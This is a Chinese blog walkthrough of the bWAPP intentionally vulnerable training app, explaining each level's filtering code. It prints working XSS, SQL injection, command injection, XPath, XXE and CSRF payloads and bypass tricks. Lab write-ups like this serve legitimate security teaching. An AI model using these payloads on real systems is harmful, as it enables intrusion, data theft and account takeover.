前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >bwapp详细教程_bwapp之sql注入

bwapp详细教程_bwapp之sql注入

作者头像
全栈程序员站长
发布2022-11-09 19:27:06
2K0
发布2022-11-09 19:27:06
举报

大家好,又见面了,我是你们的朋友全栈君。

**

HTML Injection – Reflected (GET)

** low:

在这里插入图片描述
在这里插入图片描述

低级漏洞中,输入数据没有做校验

First name: <script>alert( 'xss' )</script>

Last name: <script>alert( 'xss' )</script>

出现xss即为成功。

medium

和low一样,但发现被全部显示

在这里插入图片描述
在这里插入图片描述

抓包,

在这里插入图片描述
在这里插入图片描述

会发现符号<>均被编码

0,1,2分别对应三个等级 找见对应的/bWAPP/bwapp/htmli_get.php文件

在这里插入图片描述
在这里插入图片描述

三个等级分别要进行不同的检测 还会发现要调用functions_external.php文件

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
代码语言:javascript
复制
$input = urldecode($input);

这里使用了urldecode函数,对字符串进行URL解码,返回的是已解码的字符串 所以可以在输入框输入编码后的代码

在这里插入图片描述
在这里插入图片描述

high 同medium操作一样,也被全部显示

在这里插入图片描述
在这里插入图片描述

抓包,

在这里插入图片描述
在这里插入图片描述

会发现和medium一样<>均被编码

但是如果尝试在输入框输入编码后的代码并不能成功

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

htmlspecialchars() 函数把预定义的字符&,” ,’ ,<,> 转换为 HTML 实体,是安全的

HTML Injection – Reflected (POST)

操作同HTML Injection – Reflected (GET)一样,只不过是成了post方式。

HTML Injection – Reflected (Current URL )

low:

在这里插入图片描述
在这里插入图片描述

在url中构造语句

在这里插入图片描述
在这里插入图片描述

尝试抓包

在这里插入图片描述
在这里插入图片描述

将被编码的部分改成正常的

在这里插入图片描述
在这里插入图片描述

解题成功。

medium&high

在这里插入图片描述
在这里插入图片描述

发现同low级别的一样,但当尝试抓包修改为正常的并不能成功,查看源码

在这里插入图片描述
在这里插入图片描述

找见这个htmli_ current_ url.php文件后,发现这样的一段代码

还会发现在case”2″时要进行xss_check_3的检测 (xss_check_3见HTML Injection – Reflected (GET)的high级别)

在这里插入图片描述
在这里插入图片描述

HTML Injection – Stored (Blog)

low:

在这里插入图片描述
在这里插入图片描述

发现有输入框,尝试一下xss注入

在这里插入图片描述
在这里插入图片描述

medium

在这里插入图片描述
在这里插入图片描述

这次虽然显示已经添加,但是并没有弹窗,看源码

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

查看 functions_external.php 文件

在这里插入图片描述
在这里插入图片描述

可以看到case”1″或case”2″都要进行sqli_check_3检测

代码语言:javascript
复制
function sqli_check_3($link, $data)
{ 
     
    return mysqli_real_escape_string($link, $data);
}

mysqli_real_escape_string就是要转义在SQL语句中使用的字符串中的特殊字符 PHP mysqli_real_escape_string() 函数

iFrame Injection

iframe是可用于在HTML页面中嵌入一些文件(如文档,视频等)的一项技术。对iframe最简单的解释就是“iframe是一个可以在当前页面中显示其它页面内容的技术” 通过利用iframe标签对网站页面进行注入,是利用了HTML标签,实际上就是一个阅读器,可以阅读通过协议加载的活服务器本地的文件、视频等

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

low

在这里插入图片描述
在这里插入图片描述

没有对参数进行过滤,可以控制param标签的输入

在这里插入图片描述
在这里插入图片描述

medium

代码语言:javascript
复制
function xss_check_4($data)
{ 
   
  
    // addslashes - returns a string with backslashes before characters that need to be quoted in database queries etc.
    // These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
    // Do NOT use this for XSS or HTML validations!!!
    
    return addslashes($data);
    
}

可以看出medium不能控制paramurl的输入,所以只能通过控制ParamHeight和ParamWidth来实现注入

大体意思就是addslashes会在数据库查询中需要引用的字符(’,”,\)前返回一个反斜杠字符串进行构造

在这里插入图片描述
在这里插入图片描述

high:

代码语言:javascript
复制
function xss_check_3($data, $encoding = "UTF-8")
{ 
   

    // htmlspecialchars - converts special characters to HTML entities 
    // '&' (ampersand) becomes '&amp;' 
    // '"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set
    // "'" (single quote) becomes '&#039;' (or &apos;) only when ENT_QUOTES is set
    // '<' (less than) becomes '&lt;'
    // '>' (greater than) becomes '&gt;' 
    
    return htmlspecialchars($data, ENT_QUOTES, $encoding);
       
}

htmlspecialchars()函数会把预定义的字符(&,’,”,<,>)转换为 HTML 实体

LDAP Injection (Search)

LDAP 全英文:Lightweight Directory Access Protocol,翻译过来就是轻量级的目录访问协议。其实就是访问目录,浏览目录。有很多企业存储一些数据信息,例如部门信息,部门里成员的信息,公司的可用设备信息等,这些信息单独放在类似于网站的那种数据库中的话,会显的有点大材小用,而把它们放在目录中,文本中最合适。好比在文档中搜索指定的内容,在目录中搜索指定的文件一样。 LDAP 也有自己指定的语法,也可理解为它是一个存储信息的数据库,为了搜索方便,很多网站提供了其查询的接口,和普通的搜索框无异,对于指定的搜索内容,在没有严格过滤的情况下,便可以造成LDAP 注入。

在这里插入图片描述
在这里插入图片描述

尝试

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Mail Header Injection (SMTP)

通常的做法是网站实施联系表单,反过来将合法用户的电子邮件发送给消息的预期收件人。大多数情况下,这样的联系表单将设置SMTP标头From,Reply-to以便让收件人轻松处理联系表单中的通信,就像其他电子邮件一样。 不幸的是,除非用户的输入在插入SMTP头之前被验证,否则联系表单可能容易受到电子邮件头插入(也称为SMTP头注入)的攻击。这是因为攻击者可以将额外的头部注入到消息中,从而指示SMTP服务器执行与预期不同的指令。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

OS Command Injection

在这里插入图片描述
在这里插入图片描述

www.nsa.gov;dir

在这里插入图片描述
在这里插入图片描述

www.nsa.gov&&dir

在这里插入图片描述
在这里插入图片描述

原理:在DNS查询之后再执行dir命令

medium

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

commandi_check_1是把&和;替换了,还可以使用|

构造

www.nsa.gov | dir

high

escapeshellcmd()函数用来跳过字符串中的特殊符号,防止恶意用户耍花招激活成功教程服务器系统

OS Command lnjection – Blind

在这里插入图片描述
在这里插入图片描述

盲注就是注入后并不会返回信息,要根据反应时间判断命令是否成功执行 输入 127.0.0.1

在这里插入图片描述
在这里插入图片描述

输入 127.0.0.1&&dir

在这里插入图片描述
在这里插入图片描述

PHP Code Injection

在这里插入图片描述
在这里插入图片描述

low:

在这里插入图片描述
在这里插入图片描述

medium&high 使用了htmlspecialchars函数无法绕过

在这里插入图片描述
在这里插入图片描述

Server-Side Includes (SSI) Injection

SSI是英文”Server Side Includes”的缩写,翻译成中文就是服务器端包含的意思。SSI是用于向HTML页面提供动态内容的Web应用程序上的指令。 它们与CGI类似,不同之处在于SSI用于在加载当前页面之前或在页面可视化时执行某些操作。 为此,Web服务器在将页面提供给用户之前分析SSI 可在SHTML文件中使用SSI指令引用其他的html文件(#include),此时服务器会将SHTML中包含的SSI指令解释,再传送给客户端,此时的HTML中就不再有SSI指令了。Server-Side Includes攻击允许通过在HTML页面中注入脚本或远程执行任意代码来利用Web应用程序。 一种对于这类漏洞的挖掘方式即是查看.stm,.shtm和.shtml的页面是否存在,但是缺少这些类型的页面并不意味着不存在SSI攻击。

在这里插入图片描述
在这里插入图片描述

默认Apache不开启SSI,SSI这种技术已经比较少用了 IIS和Apache都可以开启SSI功能

输入表单,lookup之后

在这里插入图片描述
在这里插入图片描述

核心代码

代码语言:javascript
复制
<div id="main">
<h1>Server-Side Includes (SSI) Injection</h1>
<p>What is your IP address? Lookup your IP address... (<a href="http://sourceforge.net/projects/bwapp/files/bee-box/" target="_blank">bee-box</a> only)</p>
<form action="<?php echo($_SERVER["SCRIPT_NAME"]);?>" method="POST">
<p><label for="firstname">First name:</label><br />                                        //firstname表单
<input type="text" id="firstname" name="firstname"></p>
<p><label for="lastname">Last name:</label><br />                                          //lastname表单
<input type="text" id="lastname" name="lastname"></p>
<button type="submit" name="form" value="submit">Lookup</button>
</form>
<br />
<?php
if($field_empty == 1)                                                              //这里的PHP只是判断是否有输入
{ 

echo "<font color=\"red\">Please enter both fields...</font>";
}
else
{ 

echo "";
}
?>
</div>

防护代码

代码语言:javascript
复制
$field_empty = 0;
function xss($data)
{ 

switch($_COOKIE["security_level"])
{ 

case "0" :
$data = no_check($data);
break;
case "1" :
$data = xss_check_4($data);
break;
case "2" :
$data = xss_check_3($data);
break;
default :
$data = no_check($data);
break;
}
return $data;
}
if(isset($_POST["form"]))
{ 

$firstname = ucwords(xss($_POST["firstname"]));                                            //ucwords()首字母大写
$lastname = ucwords(xss($_POST["lastname"]));
if($firstname == "" or $lastname == "")
{ 

$field_empty = 1;
}
else
{ 

$line = '<p>Hello ' . $firstname . ' ' . $lastname . ',</p><p>Your IP address is:' . '</p><h1><!--#echo var="REMOTE_ADDR" --></h1>';
// Writes a new line to the file
$fp = fopen("ssii.shtml", "w");
fputs($fp, $line, 200);
fclose($fp);
header("Location: ssii.shtml");
exit;
}
}
?>

low: low级别,没有防护,能xss

在这里插入图片描述
在这里插入图片描述

medium:

代码语言:javascript
复制
function xss_check_4($data)
{ 

// addslashes - returns a string with backslashes before characters that need to be quoted in database queries etc.
// These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
// Do NOT use this for XSS or HTML validations!!!
return addslashes($data);         
}

addslashes()在符号前加反斜线

high:

代码语言:javascript
复制
function xss_check_3($data, $encoding = "UTF-8")
{ 

// htmlspecialchars - converts special characters to HTML entities
// '&' (ampersand) becomes '&'
// '"' (double quote) becomes '"' when ENT_NOQUOTES is not set
// "'" (single quote) becomes ''' (or &apos;) only when ENT_QUOTES is set
// '<' (less than) becomes '<'
// '>' (greater than) becomes '>'
return htmlspecialchars($data, ENT_QUOTES, $encoding);
}

将预定义的字符装换为html实体字符

SQL Injection (Search/GET)

直接 ’or 1=1# ,爆出所有数据

在这里插入图片描述
在这里插入图片描述

构造语句爆出数据

代码语言:javascript
复制
' union select 1,2,3,4,5,6,7 #
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

爆出用户名,数据库名

代码语言:javascript
复制
' union select 1,user(),database(),4,5,6,7 #
在这里插入图片描述
在这里插入图片描述

medium: 用报错注入

在这里插入图片描述
在这里插入图片描述
代码语言:javascript
复制
on' and updatexml(1,concat(0x7e,(database()),0x7e),1)#

high: 漏洞将没有

SQL Injection (Search/POST)

同上

SQL Injection (Search/CAPTCHA)

还同上

代码语言:javascript
复制
' union select 1,user(),database(),4,5,6,7 #
在这里插入图片描述
在这里插入图片描述

SQL Injection (Select/GET)

And 1=1有值

And 1=2 没值

所以这是数字型注入

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

中等和高等被过滤了

SQL Injection (Login Form)

这里可以直接使用报错注入来注入,源码中有输出报错信息

代码语言:javascript
复制
' and updatexml(1,concat(0x7e,(database()),0x7e),1)--+
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

中等和高等漏洞修复了

SQL Injection – Stored (Blog)

这是插入语句,我们构造下即可

代码语言:javascript
复制
test', (select database())) #
在这里插入图片描述
在这里插入图片描述

中等和高等进行了过滤,无法注入,但好像没有过滤xss

所以用<script>alert(/xss/)</script>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

SQL Injection – Blind (Search)

Iron Man’ and sleep(5)#

输入语句发现它沉睡了

说明是sql盲注了

在这里插入图片描述
在这里插入图片描述

' and (if((substr((select version()),1,1)=5),sleep(5),null)) --+

可以看到第一个数字是5,版本号

在这里插入图片描述
在这里插入图片描述

中等和高等都进行了过滤

XML/XPath Injection (Login Form)

账号密码都填1’ or ‘1’ = ‘1即可

在这里插入图片描述
在这里插入图片描述

中等和高等都进行了过滤

Broken Auth. – Forgotten Function

Email用了mysqli_real_escape_string进行过滤

进行暴力激活成功教程即可

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Broken Auth. – Insecure Login Forms

用这个账号密码即可

Tonystark

I am Iron Man

然后也可以进行爆破进行登录

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Broken Auth. – Logout Management

这是退出页面来的

低级设置是session是没有摧毁的

中等高等是已经摧毁了

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Broken Auth. – Password Attacks

在这里插入图片描述
在这里插入图片描述

这关进行爆破即可

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

medium:

多了个salt

在这里插入图片描述
在这里插入图片描述

high:

多了个验证码

在这里插入图片描述
在这里插入图片描述

Broken Auth. – Weak Passwords

这题考的是弱密码,可以爆破

账号test

密码看等级

test

test123

Test123

在这里插入图片描述
在这里插入图片描述

Session Mgmt. – Administrative Portals

把admin设置成1即可

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

medium: cookie设置成1即可

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

high: session设置成1即可

在这里插入图片描述
在这里插入图片描述

Session Mgmt. – Cookies (HTTPOnly)

Cookies中httponly字段设置为false

点击 Click Here ,就可以了

在这里插入图片描述
在这里插入图片描述

Cookies中httponly字段设置为true

点击Click Here,本地JS脚本无法访问top_security变量值了

在这里插入图片描述
在这里插入图片描述

服务端可以

在这里插入图片描述
在这里插入图片描述

高等就是就是把cookie的生存时间,仅有300秒

Session Mgmt. – Session ID in URL

Session直接暴露在url中,三个难度有一样

在这里插入图片描述
在这里插入图片描述

Session Mgmt. – Strong Sessions

低难度是不安全的

medium:

可以观察到top_security_nossl的值是使用了HASH处理

在这里插入图片描述
在这里插入图片描述

high:

在非SSL情况下,看不到top_security_ssl的值 改用HTTPS后,可以观察到top_security_nossl值

XSS – Reflected (GET)

代码语言:javascript
复制
<script>alert(/xss/)</script>
在这里插入图片描述
在这里插入图片描述

medium:

用了addslashes函数

代码语言:javascript
复制
<script>alert(/xss/)</script>

high:

htmlspecialchars过滤了

在这里插入图片描述
在这里插入图片描述

XSS – Reflected (POST)

同上

XSS – Reflected (JSON)

直接闭合即可

代码语言:javascript
复制
"}]}';alert(/xss/);</script>
在这里插入图片描述
在这里插入图片描述

中等和高等都过滤了

XSS – Reflected (AJAX/JSON)

低和中等都是一样的

代码语言:javascript
复制
<img src=x οnerrοr=alert(1)>
在这里插入图片描述
在这里插入图片描述

高等过滤了

XSS – Reflected (AJAX/XML)

低和中等都一样

代码语言:javascript
复制
<img src=x οnerrοr=alert(/xss/)>
在这里插入图片描述
在这里插入图片描述

XSS – Reflected (Back Button)

抓包把REFERER修改成"><script>alert(/xss/)</script>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

中等的一样

XSS – Reflected (Custom Header)

在http头部添加上即可

bWAPP:<script>alert(/xss/)</script>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

中等一样

高等过滤了

XSS – Reflected (Eval)

把date值换成alert(/xss/)即可

在这里插入图片描述
在这里插入图片描述

中等还是一样

高等过滤了

XSS – Reflected (HREF)

闭合即可

代码语言:javascript
复制
/><img src=a.png οnerrοr=alert(/xss/)>
在这里插入图片描述
在这里插入图片描述

中等和高等使用了urlencode()过滤了

XSS – Reflected (PHP_SELF)

低和中等用这个代码<script>alert( /xss/ )</script>

在这里插入图片描述
在这里插入图片描述

XSS – Reflected (Referer)

低和中等一样<script>alert(/xss/)</script>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

高等还是用了htmlspecialchars过滤,安全

XSS – Reflected (User-Agent)

修改USER-AGENT即可

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

中等一样

XSS – Stored (Blog)

低和中等一样用<script>alert(/xss/)</script>,高等不行

在这里插入图片描述
在这里插入图片描述

XSS – Stored (Change Secret)

审查元素把隐藏的类型换成text输入xss代码即可

代码语言:javascript
复制
"><script>alert(/xss/)</script><"
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

中等和高等换成token验证了

在这里插入图片描述
在这里插入图片描述

Insecure DOR (Reset Secret)

可以修改价格

在这里插入图片描述
在这里插入图片描述

Cross-Origin Resource Sharing (AJAX)

本题讲的是AJAX的跨域资源请求问题 在另一台服务器上,修改evil文件夹内的,attack-cors.htm文件中的服务器路径 然后在浏览器运行attack-cors.htm即可

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Robots File

Robots文件会暴露你的路径,列如你后台就是admin目录下的文件

在这里插入图片描述
在这里插入图片描述

Heartbleed Vulnerability

Heartbleed错误允许Internet上的任何人读取受OpenSSL软件易受攻击版本保护的系统的内存。这会破坏用于识别服务提供商的密钥,并加密流量,用户的名称和密码以及实际内容。这允许攻击者窃听通信,直接从服务和用户窃取数据并模仿服务和用户。

Host Header Attack (Reset Poisoning)

传递任意主机头的另一种方法是使用X-Forwarded-Host头。在某些配置中,此标头将重写Host标头的值。因此,可以提出以下请求。

许多Web应用程序依赖于HTTP 主机头来理解“它们在哪里”。

主机头的使用在PHP Web应用程序中尤为常见,但是,它肯定不是PHP Web应用程序特有的问题。以下示例中的PHP脚本是主机头的典型且危险的用法。就bWAPP的这个例子而言

可以看到当低级别的时候,server = _SERVER[“HTTP_HOST”],这就很危险了

Insuff. Transport Layer Protection

low: 普通运输

在这里插入图片描述
在这里插入图片描述

中等和高等是https运输的

在这里插入图片描述
在这里插入图片描述

Text Files (Accounts)

低等级是明文运输,不安全的

中等和高等的将密码进行了sha1加密,但是这还不是很安全,因为还是可以通过字典爆破或者暴力激活成功教程甚至可以通过查表的方式找出密码。而High级别的用的是hash加盐加密技术。

Directory Traversal – Directories

在这里插入图片描述
在这里插入图片描述

未对输入的目录进行限制,可以访问任意目录。

在这里插入图片描述
在这里插入图片描述

中等限制了一些符号,但还是可以访问当前目录下的任意文件

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

而高等不行

Directory Traversal – Files

可以访问上级目录下的文件

在这里插入图片描述
在这里插入图片描述

中等和高等限制了目录遍历,但是可以在当前目录下访问

Host Header Attack (Cache Poisoning)

修改要访问的目录即可

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

中等和高等限制了,只能访问固定页面

在这里插入图片描述
在这里插入图片描述

Remote & Local File Inclusion (RFI/LFI)

修改get即可

在这里插入图片描述
在这里插入图片描述

中等限制了php后缀的文件,我们是可%00截断的

高等限制了只能这三种语言文件

在这里插入图片描述
在这里插入图片描述

Restrict Device Access

页面告诉我们要一些固定的设备才成访问,那我们抓包修改User-Agent即可

低,中等和高等都是可以绕过的

在这里插入图片描述
在这里插入图片描述

Mozilla/5.0(iPhone;U;CPUiPhoneOS4_0likeMacOSX;en-us)AppleWebKit/532.9(KHTML,likeGecko)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Restrict Folder Access

可以直接访问http://172.0.0.1/bwapp/documents/bWAPP_intro.pdf

在这里插入图片描述
在这里插入图片描述

中等和高等不能访问

在这里插入图片描述
在这里插入图片描述

Server Side Request Forgery (SSRF)

在这里插入图片描述
在这里插入图片描述

XML External Entity Attacks (XXE)

抓包把xml代码换了即可

代码块

代码语言:javascript
复制
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY test SYSTEM "http://192.168.56.1/bWAPP/666">
]>
<reset><login>&test;</login><secret>Any bugs?</secret></reset>
在这里插入图片描述
在这里插入图片描述

CSRF (Change Password)

直接点击url即可修改密码

http://192.168.56.1/bwapp/csrf_1.php?password_new=bug&password_conf=bug&action=change

在这里插入图片描述
在这里插入图片描述

中等和高等加多了个输入旧密码,可以弄个html页面让受害者输入进而修改密码

代码块

代码语言:javascript
复制
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>bWAPP - CSRF</title>
</head>
<body>
<header>
<h1>bWAPP</h1>
</header>    
<div id="main">
<h1>CSRF (Change Password)</h1>
<p>Change your password.</p>
<form action="http://192.168.56.1/bwapp/csrf_1.php" method="GET">
<p><label for="password_curr">Current password:</label><br />
<input type="password" id="password_curr" name="password_curr"></p>
<p><label for="password_new">New password:</label><br />
<input type="password" id="password_new" name="password_new"></p>
<p><label for="password_conf">Re-type new password:</label><br />
<input type="password" id="password_conf" name="password_conf"></p>  
<button type="submit" name="action" value="change">Change</button>   
</form>
<br />
</div>
</body>
</html>

CSRF (Change Secret)

在这里插入图片描述
在这里插入图片描述

生成的poc让受害者点击一下即可修改成功

在这里插入图片描述
在这里插入图片描述

中等和高等用了token来防护

CSRF (Transfer Amount)

我们把金额修改成负数的时候,我们的金额会增多

在这里插入图片描述
在这里插入图片描述

也可以让受害人打开url就会扣钱

http://192.168.56.1/bwapp/csrf_2.php?account=123-45678-90&amount=200&action=transfer

PHP Eval Function

直接在url中添加上?eval=phpinfo();

中等和高等也一样

在这里插入图片描述
在这里插入图片描述

Unvalidated Redirects & Forwards (1)

抓包把url修改成http://www.baidu.com就会跳转到百度了

在这里插入图片描述
在这里插入图片描述

中等和高等不能随意跳转了

Unvalidated Redirects & Forwards (2)

抓包修改即可

在这里插入图片描述
在这里插入图片描述

中等和高等被固定跳转了

在这里插入图片描述
在这里插入图片描述

ClickJacking (Movie Tickets)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Unrestricted File Upload

可以直接上传任意文件

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

中等是验证后缀,可以使用截断来绕过

在这里插入图片描述
在这里插入图片描述

高等是白名单

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/190217.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022年9月23日 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • HTML Injection – Reflected (GET)
  • HTML Injection – Reflected (POST)
  • HTML Injection – Reflected (Current URL )
  • HTML Injection – Stored (Blog)
  • iFrame Injection
  • LDAP Injection (Search)
  • SQL Injection (Search/GET)
  • SQL Injection (Search/POST)
  • SQL Injection (Search/CAPTCHA)
  • SQL Injection (Select/GET)
  • SQL Injection (Login Form)
  • SQL Injection – Stored (Blog)
  • SQL Injection – Blind (Search)
  • XML/XPath Injection (Login Form)
  • Broken Auth. – Forgotten Function
  • Broken Auth. – Insecure Login Forms
  • Broken Auth. – Logout Management
  • Broken Auth. – Password Attacks
  • Broken Auth. – Weak Passwords
  • Session Mgmt. – Administrative Portals
  • Session Mgmt. – Cookies (HTTPOnly)
  • Session Mgmt. – Session ID in URL
  • Session Mgmt. – Strong Sessions
  • XSS – Reflected (GET)
  • XSS – Reflected (POST)
  • XSS – Reflected (JSON)
  • XSS – Reflected (AJAX/JSON)
  • XSS – Reflected (AJAX/XML)
  • XSS – Reflected (Back Button)
  • XSS – Reflected (Custom Header)
  • XSS – Reflected (Eval)
  • XSS – Reflected (HREF)
  • XSS – Reflected (PHP_SELF)
  • XSS – Reflected (Referer)
  • XSS – Reflected (User-Agent)
  • XSS – Stored (Blog)
  • XSS – Stored (Change Secret)
  • Insecure DOR (Reset Secret)
  • Cross-Origin Resource Sharing (AJAX)
  • Robots File
  • Heartbleed Vulnerability
  • Host Header Attack (Reset Poisoning)
  • Insuff. Transport Layer Protection
  • Text Files (Accounts)
  • Directory Traversal – Directories
  • Directory Traversal – Files
  • Host Header Attack (Cache Poisoning)
  • Remote & Local File Inclusion (RFI/LFI)
  • Restrict Device Access
  • Restrict Folder Access
  • Server Side Request Forgery (SSRF)
  • XML External Entity Attacks (XXE)
  • CSRF (Change Secret)
  • CSRF (Transfer Amount)
  • PHP Eval Function
  • Unvalidated Redirects & Forwards (1)
  • Unvalidated Redirects & Forwards (2)
  • ClickJacking (Movie Tickets)
  • Unrestricted File Upload
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档